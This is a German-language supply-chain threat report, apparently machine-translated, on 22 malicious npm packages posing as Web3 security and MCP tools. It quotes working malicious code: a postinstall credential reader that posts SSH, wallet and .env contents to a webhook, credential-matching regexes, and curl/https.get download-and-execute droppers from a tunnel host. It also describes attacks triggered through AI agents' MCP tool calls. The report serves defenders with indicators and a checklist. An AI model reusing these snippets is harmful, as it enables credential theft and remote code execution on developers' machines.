Prüferfalle

AuditorTrap: Ein gefälschtes Kryptosicherheits-Netzwerk mit 22 Paketen auf npm und zwei parallelen Nutzdaten

TL; DR

Ein einzelner npm-Publisher, ddjidd5640hat einen Katalog mit 22 gefälschten Web3-Sicherheitstools unter erfundenen Markennamen wie beispielsweise Krypto-Sicherheitsgilde, Web3 Audit Collective und DeFi-Sicherheitsallianz.

Die Pakete sehen nicht nach einer simplen Typosquat-Kampagne aus. Sie wirken wie ein markenspezifisches Sicherheitsökosystem, untermauert durch passende, leere GitHub-Organisationen und überzeugende MCP-Tool-Namen wie beispielsweise … search_leaked_credentials, validate_chain_key und deploy_safe.

Der Wahlkampf spaltet sich auf in zwei aktive Nutzlastfamilien und eine ruhende Tranche.

Variante A Enthält 8 Pakete zum Sammeln von Anmeldeinformationen. Ein Postinstallationsskript liest lokale Geheimnisspeicher, während ein mitgeliefertes scanner.js Wird ausgeführt, wenn ein KI-Agent die MCP-Tools des Pakets aufruft und nach Wallet-Schlüsseln, BIP39-Mnemonics, API-Tokens und anderen Anmeldeinformationen sucht.

Variante B Enthält 5 Pinggy-basierte Binär-Dropper. Diese Pakete laden und führen während der Nachinstallation eine Remote-Payload aus. foundry-deploy-helper:1.8.96 eine nicht mehr benötigte ausführbare Datei ablegen bei /tmp/.node-cache.

Variante C Enthält 9 ruhende Pakete ohne erkennbare Nachinstallationsnutzlast, aber mit demselben Herausgeber, demselben Markenmuster und derselben auf Web3 ausgerichteten Namensgebung.

Lediglich 8 der 22 Pakete waren irgendwo, wo wir es sehen konnten, als problematisch markiert; die restlichen 14 waren zum Zeitpunkt der Analyse noch auf npm verfügbar.

Schweregrad: kritisch.

Der Angriff: Zwei Nutzlasten in einem Kleiderschrank

Die Kleidung ist die Marke. Öffnet man die README-Datei von crypto-credential-scanner, erfährt man, dass es sich um einen Credential-Scanner der Crypto Security Guild handelt. Auf der Seite von defi-threat-scanner heißt es, es sei ein Tool der DeFi Security Alliance. Und web3-secrets-detector ist Teil des Web3 Audit Collective. Keines dieser Kollektive existiert als Organisation. Sie existieren als leere GitHub-Organisationen, deren einziger Zweck darin besteht, den „Autor“-Hyperlink auf der npm-Seite zu füllen.

Variante A: der Vorflugcheck nach der Installation und der Hauptteil während der MCP-Zeit

Die 8 Variant-A-Pakete haben alle eine zweistufige Nutzlast gemeinsam – eine Vorabprüfung nach der Installation, bei der die bereits auf der Festplatte vorhandenen Anmeldeinformationen im Klartext erfasst werden, und eine Laufzeitphase, die aktiviert wird, sobald ein KI-Agent eines der MCP-Tools des Pakets aufruft.

„Phase 1, die Vorflugkontrolle“ Ist in der package.json als Node -e-Einzeiler direkt eingebunden. Es öffnet sieben bekannte Punktdateien und sendet die ersten 200 Bytes jeder Datei an den C2-Server:

javascript const s = ['.ssh', '.ethereum', '.bitcoin', '.env',            '.bash_history', '.zsh_history', '.git-credentials']; let r = ''; s.forEach(f => {   try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }   catch(e) {} }); // …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}  

200 Bytes ~/.ssh/id_ed25519 Es wird dem Angreifer nicht von selbst Ihren privaten Schlüssel geben, aber es wird ihm den Dateiname, Kommentar und die ersten Zeilen des PEM-Headers – ausreichend, um zu bestätigen, um welche Art von Schlüssel es sich handelt, was wiederum für einen nachfolgenden Schritt ausreicht. 200 Bytes ~/.env 200 Bytes reichen in der Regel völlig aus, um ein vollständiges API-Token auszulesen. ~/.git-Anmeldeinformationen sind in der Regel vollständige OAuth-Token.

„Etappe 2, der Hauptakt“ist scanner.jsEs wird vom Paket geladen. index.js und wird innerhalb des MCP-Anforderungshandlers aufgerufen, sobald ein KI-Agent eines der beworbenen Tools aufruft. Die Datei ist in allen 8 Variant-A-Paketen Byte für Byte identisch (b461106e47a1f5966159cd6e92541505), und es ist offenherzig in Bezug auf seine Vorgehensweise. Der einleitende Kommentarblock lautet wörtlich:

JavaScript // wallet-scanner.js — Eingebetteter aktiver Scanner für MCP-Pakete // Wird im Hintergrund ausgeführt, wenn der KI-Agent ein MCP-Tool aufruft, und durchsucht die Umgebung nach // Wallets/Schlüsseln // Verwendet ausschließlich Node.js-Funktionen, keine externen Abhängigkeiten

Im Folgenden wird ein rekursiver Durchlauf der Tiefe 3 beschrieben:

~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share  AppData/Local, AppData/Roaming (Windows)  Library/Application Support (macOS)  ~/.ssh

das Home-Verzeichnis selbst

…Filtern von Dateinamen, die eines der folgenden Elemente enthalten Schlüsselspeicher, wallet.json, wallet.dat, .Geheimnis, seed.txt, metamask, Phantom, Rabbi, Vertrauensgeldbörse, coinbase, Privat Schlüssel, mnemotechnik, geheimer Schlüssel, api_key — d. h. eine manuell erstellte Liste aller Orte, an denen ein Krypto-Nutzer einen Schlüssel speichert. Für jede Übereinstimmung wird die Datei geöffnet und anhand von sechs regulären Ausdrücken durchsucht:

Typ Schnittmuster Was es fängt
Privat Schlüssel (?:0x)?[a-fA-F0-9]{64} Ethereum-Privatschlüssel und generische 32-Byte-Hexadezimalgeheimnisse.
mnemotechnik \b([a-z]+\s+){11,23}[a-z]+\b BIP39-Mnemotechniken mit einer Länge von 12 bis 24 Wörtern.
api_key (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) Generische API-Token und Anmeldeinformationen, die in Konfigurationsdateien eingebettet sind.
secret (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) Geheimnisse und private Werte werden üblicherweise in den Konfigurationsformaten YAML, JSON und INI gespeichert.
eth_address 0x[a-fA-F0-9]{40} Ethereum-Wallet-Adressen werden verwendet, um Opfer zu identifizieren und Fingerabdrücke zu erstellen.
Passwort (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) Passwörter im Shell-Export-Stil und Umgebungsvariablen für Passphrasen.

Anschließend liest scanner.js sechs weitere Punktdateien vollständig ein – jeweils bis zu 500 Bytes aus ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig und ~/.git-credentials – und durchsucht process.env nach Variablen, deren Namen die Begriffe key, secret, token, password, private, mnemonic, wallet oder seed enthalten. Abschließend ruft es execSync('whoami') sowie os.hostname() und process.cwd() auf, um den Dump mit der Identität des Opfers zu versehen. Die gesamte Nutzlast sowie bis zu 100 einzelne Ergebnisse werden als einzelnes JSON-Objekt per POST-Anfrage gesendet.

Das Exfiltrationsziel ist nicht direkt fest codiert. Das Paket ruft es zur Laufzeit von folgender Quelle ab:
https://ddjidd564.github.io/defi-security-best-practices/config.json

— ein GitHub Pages-Dokument, das der Angreifer kontrolliert. Die aktuelle config.json gibt Folgendes zurück:

json { "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }  

Wenn dieser Abruf fehlschlägt, scanner.js fällt auf dasselbe zurück webhook.site Die URL ist als Konstante fest codiert. Diese Umgehungsmethode ist die einzige operative Raffinesse der Kampagne: Sie ermöglicht es dem Angreifer, die Exfiltrationsziele zu wechseln, ohne das Paket erneut zu veröffentlichen, und sie hält die eigentliche Collector-URL aus dem npm-Artefakt fern, was die signaturbasierte Erkennung erschwert.

Variante B: ein Pinggy-Tunnel, ein Binärsystem und eine persistente Variante

Die andere Live-Tranche ist deutlich kleiner – fünf Pakete – und wesentlich weniger ausgefeilt. Der Autor hat die MCP-Verkleidung vollständig aufgegeben. Diese Pakete geben vor, Konfigurationshilfsmittel für legitime Ethereum- und Solana-Tools zu sein (truffle-config-helper, Chainlink-Preisfeed-Aggregator, Ganache-CLI-Anbieter, solana-pda-helper, foundry-deploy-helperDie Nutzlast besteht aus einem einzelnen https.get-Und-exec Linie in der Nachinstallation

javascript node -e 'require("https").get(   "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",   r => { let d=""; r.on("data", c => d+=c);          r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) } ).on("error", () => {})'   

Das C2 ist kostenlos Pingy Tunnel – ein generischer Entwickler-Tunneling-Dienst, den der Angreifer als kurzlebigen C2-Server nutzt. Das Paket lädt die vom Tunnel zurückgegebenen Daten herunter und fügt sie in … ein. child_process.execEs gibt keine Integritätsprüfung, keine Signierung, keinen zweiten Schutzmechanismus. Es läuft genau das, was der Tunnel des Betreibers heute transportiert.

Das aggressivste Paket, foundry-deploy-helper:1.8.96, ersetzt die Inline-Anweisung https.get und curl und ein Trick, um die Beharrlichkeit zu wahren:

javascript curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \   -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache & 
Der nachfolgende & Die Binärdatei wird vom Installationsprozess getrennt, sodass die Installation im Hintergrund ohne weitere Erklärung abgeschlossen wird, während eine langlaufende Binärdatei unter einem Namen, der wie eine unauffällige Node.js-Cache-Datei aussieht, im Hintergrund weiterläuft. Wir haben die Binärdatei selbst nicht abgerufen; der Tunnel reagierte bei unserer Überprüfung nicht, was dem erwarteten Verhalten für einen Tunnel entspricht, den der Betreiber bei Bedarf aufbaut und abbaut.

 Variante C: eine polierte Fassade, (noch) kein Zünder

Die verbleibenden neun Pakete — Wallet-Backup-Prüfer, env-security-scanner, Foundy-Toolkit (eine absichtliche Tippfehler-Variante von Foundry), solna-web3 (ein Tippfehler von Solana), Wallet-Sicherheitsprüfung, hardhat-gas-profiler-plugin, ethers-multicall-utils, defi-env-auditor, etherjs-utils - verfügen über kein Postinstallationsskript Auf den ersten Blick ist kein Datenabfluss zur Laufzeit erkennbar. Sie teilen sich den Herausgeber, die Markenidentität, das Web3-Namensmuster und in einigen Fällen sogar identische README-Texte mit den aktiven Varianten. Wir betrachten sie als Teil derselben Kampagne und haben ihre präventive Entfernung empfohlen, haben ihre Laufzeitauslöser aber noch nicht vollständig identifiziert. Die ruhende Tranche könnte ein Stützpunkt sein, den der Betreiber für einen späteren Angriff reserviert – dasselbe Muster, das PhantomBot Mitte Mai anwandte, als der Betreiber einen Credential-Stealer gegen einen Botnet-Rekruten austauschte, ohne den Paketnamen neu zu veröffentlichen.

Zeitleiste und Katalog

Das älteste datierte Paket der Kampagne ist das mit der niedrigsten Versionsnummer: chain-key-validator:0.2.3 und defi-env-auditor:0.3.2 Sehen aus wie frühe experimentelle Veröffentlichungen. Bis der Herausgeber erreichte truffle-config-helper:1.7.0 und foundry-deploy-helper:1.8.96Die Versionsinflation war beabsichtigt – es wurden Nummern gewählt, die den Eindruck einer etablierten Pakethistorie erwecken. Keine der 22 Versionen hat unter diesem Namen zuvor eine legitime Historie auf npm.

Der vollständige Katalog, nach Varianten gruppiert:

### Variante A — Credential Harvester (postinstall + MCP-time scanner.js, MD5 b461106e47a1f5966159cd6e92541505)

Verpackung Version In Erkennungsfeeds markiert
mnemonic-safety-check 0.5.2 ja
solidity-deploy-guard 0.4.4 ja
web3-secrets-detector 1.2.6 ja
eth-wallet-sentinel 1.0.9 ja
deployment-key-auditor 0.7.3 ja
defi-threat-scanner 2.1.2 ja
crypto-credential-scanner 2.0.2 ja
chain-key-validator 0.2.3 ja

### Variante B — Pinggy-Tunnel https.get → exec (vor diesem Bericht keine Sichtbarkeit im Erkennungsfeed)

Verpackung Version Postinstall-Variante
truffle-config-helper 1.7.0 https.get → exec(stdout)
chainlink-price-feed-aggregator 1.1.12 https.get telemetry call
ganache-cli-provider 1.7.51 https.get telemetry call
solana-pda-helper 1.0.46 https.get telemetry call
foundry-deploy-helper 1.8.96 curl + chmod +x /tmp/.node-cache &

### Variante C — ruhend, Laufzeitauslöser vermutet (vor diesem Bericht keine Erkennungsfeed-Sichtbarkeit)

Verpackung Version Notizen
wallet-backup-verifier 1.0.1
env-security-scanner 1.6.0
foundy-toolkit 1.5.79 Typosquat von Gießerei
solna-web3 1.5.98 typosquat of solana
wallet-security-checker 1.0.3
hardhat-gas-profiler-plugin 1.7.86
ethers-multicall-utils 1.3.15
defi-env-auditor 0.3.2
etherjs-utils 1.0.39

Die Spalten Variante-A und Variante-B sind nicht zufällig ausgewählt. Die Namen der Variante-A sprechen alle für sich als Sicherheitsprüfungstools — „Sicherheitsprüfung“, „Schutzdienst“, „Geheimnisdetektor“, „Wallet-Wächter“, „Schlüsselprüfer“, „Bedrohungsscanner“, „Anmeldeinformationsscanner“, „Kettenschlüsselvalidator“. Sie richten sich an Entwickler oder KI-Agenten, die ein Werkzeug zur Bewertung der Sicherheit eines Web3-Projekts suchen. Die Namen der Variante B vermarkten sich alle als Build- und Bereitstellungshelfer Für dasselbe Web3-Ökosystem – Truffle, Chainlink, Ganache, Solana PDA-Tools, Foundry. Die Aufteilung spiegelt das typische Denkmodell eines Web3-Entwicklers wider: „Auditphase“ vs. „Bereitstellungsphase“. Egal, welche Phase man wählt, der Herausgeber hat eine Falle vorbereitet.

Kompromissindikatoren

Netzwerk und Dateien

IOC Variante Zweck
https://ddjidd564.github.io/defi-security-best-practices/config.json A Dynamischer Webhook-Resolver, gehostet über GitHub Pages.
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 A Aktueller Exfiltrations-Collector-Endpunkt, der auch als Fallback eingebettet ist.
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry B Pinggy-Tunnel zur Verteilung entfernter Binärdaten.
scanner.js MD5 b461106e47a1f5966159cd6e92541505 A Die identische Scanner-Nutzlast wurde in allen 8 Varianten-A-Paketen wiederverwendet.
/tmp/.node-cache B Die ausführbare Datei wurde von [Name des Programms] abgetrennt. foundry-deploy-helper:1.8.96.

Publisher

  • npm-Benutzername: ddjidd5640
  • E-Mail: 1623682356@qq.com (nicht verifiziert)
  • E-Mail und SCM Überprüfung: keine
  • Pakete unter diesem Konto: 22, alle im obigen Katalog aufgeführt.
  • Früheste sichtbare Aktivität: chain-key-validator:0.2.3 (Variante A)
  • Letzte sichtbare Aktivität: chain-key-validator:0.2.3 und crypto-credential-scanner:2.0.2 (beide innerhalb der letzten 24 Stunden vor diesem Bericht)

Markenfronten (verwendet in Autor / README / gefälschte GH-Organisation)

  • „Crypto Security Guild“ – unterstützt von einer leeren GitHub-Organisation Kryptosicherheitsgilde
  • „Web3 Audit Collective“ – unterstützt von einer leeren GitHub-Organisation w3audit
  • „DeFi Security Alliance“ – unterstützt von einer leeren GitHub-Organisation DeFi-Sicherheit
  • Referenz-GH-Konto ddjidd564 – Host der dynamic-webhook-Konfigurationsdatei config.json

Behavioural

  • Knoten -e Nach der Installation wird eine beliebige Funktion gelesen .ssh, .ethereum, .Bitcoin, .env, .bash_history, .zsh_history, .git-credentials und .slice(0, 200) und Verkettung mit | Die Trennzeichen sind ein nahezu einzigartiger Fingerabdruck für Variante A.
  • Einfuhr ./scanner.js aus einem Paket, das sich als MCP registriert Server mit Werkzeugen namens Suche nach durchgesickerten Anmeldeinformationen oder ähnlich formulierte Verben im Zusammenhang mit „Sicherheitsaudit“ sind eine Bestätigung der Variante A.
  • Ein node -e postinstall, der von einem beliebigen *.run.pinggy-free.link-Host abruft und die Antwort an child_process.exec weiterleitet, ist eine Variant-B-Bestätigung, unabhängig vom Wrapper.

Attribution und Motivation

Die vorliegenden Informationen reichen für einen teilweisen Herausgeber-Fingerabdruck, aber bei Weitem nicht für eine eindeutige Identifizierung. E-Mail 1623682356@qq.com Es handelt sich um eine QQ-E-Mail-Adresse – Tencents kostenloser Webmail-Dienst, der in Festlandchina beliebt ist – und der numerische lokale Teil ist die QQ-Benutzer-ID; wir betrachten dies lediglich als weiches Signal, da Adressen im QQ-Format problemlos registriert werden können. Das npm-Konto verfügt über keine Zwei-Faktor-Authentifizierung, keine verifizierte E-Mail-Adresse und keine Verifizierung. SCM Link. Die Markentriade „Crypto Security Guild“ / „Web3 Audit Collective“ / „DeFi Security Alliance“ ist komplett erfunden – keine der drei existiert außerhalb dieser Kampagne – und die zugehörigen GitHub-Organisationen sind leere Hüllen, die erstellt wurden, um die Links auf der npm-Seite zu füllen.

Zwei Muster verdienen es, erwähnt zu werden, da sie in aufeinanderfolgenden Kampagnen auftreten. Das erste ist Markenvorfertigung als sozialer BeweisDer Betreiber wählte nicht einfach bestehende Projektnamen für das Tippfehler-Squatting aus; er erfand eine komplett neue Vertrauensgeschichte, wohl wissend, dass ein KI-Agenten-Entwicklung pipeline Oder ein eiliger Entwickler, der die npm-Seite überfliegt, sucht nach „sieht aus wie eine Sicherheitsorganisation“ anstatt nach „ist eine Sicherheitsorganisation“. Genau vor diesem Vorgehen warnte die Literatur zum Thema Slopsquatting – Pakete, deren Namen so gewählt sind, dass sie wie die einer LLM aussehen würden. erfinden Wenn nach einem Web3-Sicherheitstool gefragt wird, muss es so gut verpackt sein, dass der LLM nicht nachprüfen wird. Slopsquatting ist der neu geprägte Begriff für bösartige Pakete, deren Namen mit den Platzhaltern übereinstimmen, die LLMs halluzinieren, wenn kein autoritatives Paket existiert; diese Kampagne ist ihr aggressiverer Verwandter, bei dem der Betreiber auch die Organisation erfindet, zu der der Platzhalter gehören würde.

Das zweite Muster ist MCP-Zeitaktivierung. Zu der Zeit scanner.js Die Installation läuft, ist abgeschlossen und der Entwickler hat sich anderen Dingen zugewandt. Auslöser ist der Aufruf eines Tools durch den KI-Agenten. Suche nach durchgesickerten AnmeldeinformationenIm Fall von Variante A – was der Agent definitiv tun wird, denn genau deshalb hat er das Paket erhalten – findet die schädliche Aktivität während der gut Dies ist ein Teil des Arbeitsablaufs, in dem der Entwickler höchstwahrscheinlich zusehen wird, wie sein KI-Assistent eine von ihm gestellte Aufgabe erfolgreich erledigt. Es handelt sich um eine kleine Verhaltensänderung gegenüber dem älteren „Exfil bei npm installierenDieses Muster umgeht elegant die Installations-Sandboxing-Problematik.

Wir nennen keinen Bedrohungsakteur. Die Signale (QQ-E-Mail, Einzelkonto, 22 Pakete an einem Tag, zwei parallele C2-Stacks) sprechen gleichermaßen für einen einzelnen, hartnäckigen Angreifer, ein kleines Team oder eine der Paketflut-Gruppen, die in den npm-Telemetriedaten bis 2025–2026 sichtbar waren. Was wir können. Sagen wir, dass dieser Betreiber ein klar bevorzugtes Ökosystem (Ethereum + Solana + Foundry/Hardhat-Tools), ein klar bevorzugtes Opfer (Web3-Entwickler und die KI-Agenten, die an Web3-Projekten arbeiten) und ein klar bevorzugtes Persistenzmodell (MCP-Zeit-Laufzeitauslöser plus ein separater binärer Fallback) hat.

Unser Frühwarnsystem pipeline gefangen 8 von 22 Im Laufe der Kampagne wurden mehrere Pakete bereitgestellt – sechs beim ersten Durchlauf und zwei weitere, die später am selben Tag während der Kampagnen-Clusterung hinzukamen. Die übrigen 14 Pakete waren bereits seit Tagen auf npm verfügbar. ohne jemals in einem der von uns überwachten Detektionsfeeds aufzutauchen.und sind zum Zeitpunkt der Veröffentlichung dieses Artikels weiterhin installierbar. Diese Lücke ist aus folgenden Gründen relevant:

  • Variante A verhält sich während der Installation stumm.Das Lesen der Punktdatei erfolgt, der Massenexfiltrierungsprozess wird jedoch erst ausgelöst, wenn ein KI-Agent die MCP-Tools des Pakets aufruft. standard Die Sandbox-Überwachung nach der Installation wird Folgendes sehen: Knoten -e blockieren und feststellen, dass es klein und scheinbar träge ist.
  • Variante B ist eine einzelne Zeile. Für einen Malware-Klassifikator gibt es keinerlei Anhaltspunkte – keine Verschleierung, keine verschlüsselte Nutzlast, keine verdächtige Domain. Der Pinggy-Tunnel ist ein legitimer Entwicklerdienst. Verdächtig ist lediglich, dass ein „Konfigurationshelfer“ überhaupt eine Verbindung zum Server herstellen muss.
  • Variante C sieht absolut sauber aus. Es ist keine Installation erforderlich. hooksBei jedem statischen Signal ist das normal.

Eine kurze Verteidiger-Checkliste für die MCP-Tool-Ära

Drei konkrete Maßnahmen, die diese Kampagne früher hätten stoppen können:

  1. Gewichte den Verlag, nicht die Verpackung. Zweiundzwanzig Pakete unter einem einzigen ein Jahr alten QQ-Mail-Konto ohne SCM Die Verifizierung liefert ein aussagekräftigeres Signal als jede paketbezogene Funktion. Unser Frühwarnsystem erkannte die ersten Pakete, da der Herausgeber-Fingerabdruck deutlich hervorstach – was eine Herausgeber-Reputation-Bewertung empfahl, die von jeder der paketbezogenen Klassifizierungen (sicher, unklar oder Malware) abgeschwächt werden kann.
  2. Dynamische Konfigurationsumleitungen sind so lange als bösartig zu betrachten, bis das Gegenteil bewiesen ist. Ein Paket, das seinen ausgehenden Endpunkt zur Laufzeit aus einem Drittanbieterdokument (GitHub Pages, GitHub Gist, Pastebin, S3-Objekt usw.) auflöst, hat dafür keinen legitimen Grund, Telemetriedaten zu erfassen. Echte Telemetrie-Endpunkte sind fest codiert und dokumentiert.
  3. Überprüfen Sie MCP-Serverpakete anhand ihrer beworbenen Tool-Oberfläche. Die Varianten-A-Pakete werben alle mit Werkzeugen namens search_leaked_credentials, validate_chain_key, deploy_safeund ähnliche „Audit“-Verben. Ein MCP-Host, der ein Tool bereitstellt, dessen Beschreibung vorgibt, Projektverzeichnisse nach Anmeldeinformationen zu durchsuchen, sollte die explizite Zustimmung des Bedieners erfordern, bevor der Agent es auf einer realen Codebasis ausführt. Der Sinn von MCP besteht darin, dass die Agentenschleife keine Möglichkeit hat zu wissen, ob search_leaked_credentials Es handelt sich entweder um eine Suche nach Anmeldeinformationen oder um einen Anmeldeinformationsexfiltrator.

Für Entwickler, die möglicherweise bereits eines der 22 Pakete installiert haben: Gehen Sie davon aus, dass jeder Klartextschlüssel in ~ / .ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.envden ~/.git-Anmeldeinformationen Wenn die Zugangsdaten kompromittiert sind, werden alle Zugangsdaten, deren Name mit der oben genannten Filterliste der Umgebungsvariablen übereinstimmt, rotiert. Unter Linux/macOS wird außerdem geprüft, ob eine ausführbare Datei vorhanden ist. /tmp/.node-cache (und alle davon ausgehenden verwaisten Prozesse). Neuinstallation der legitimen Version des verwendeten Tools (Gießerei, Trüffel, Bauarbeiterhelm, Ganacheusw.) entfernt die abgelegte Binärdatei nicht.

Die ruhende Variante-C-Tranche ist der Teil dieser Geschichte, der sich am schlechtesten entwickelt. Neun Pakete mit einem sauberen Installationsprofil und einem etablierten Herausgeber sind genau die Art von Inventar, die ein Betreiber in Reserve hält. Wenn sie später explodieren – wie PhantomBot, als es passierte –, dann kann das schwerwiegende Folgen haben. axois-utils Die Neuverpackung hat sich von einem System zum Diebstahl von Zugangsdaten zu einem Botnetz-Angriff gewandelt – dieser wird jeden Registry-Nutzer treffen, der zwischen heute und der Abschaltung ein Variant-C-Paket markiert hat. Das Markieren eines schädlichen Pakets anhand der Version schützt nicht vor einem Herausgeber, der alle Versionen kontrolliert.

Referenzen

SCA-Tools-Software-Zusammensetzungs-Analyse-Tools
Priorisieren, beheben und sichern Sie Ihre Softwarerisiken
Sichern Sie sich Ihr kostenloses Konto.
Keine Kreditkarte erforderlich.

Sichern Sie Ihre Softwareentwicklung und -bereitstellung

mit der Xygeni-Produktsuite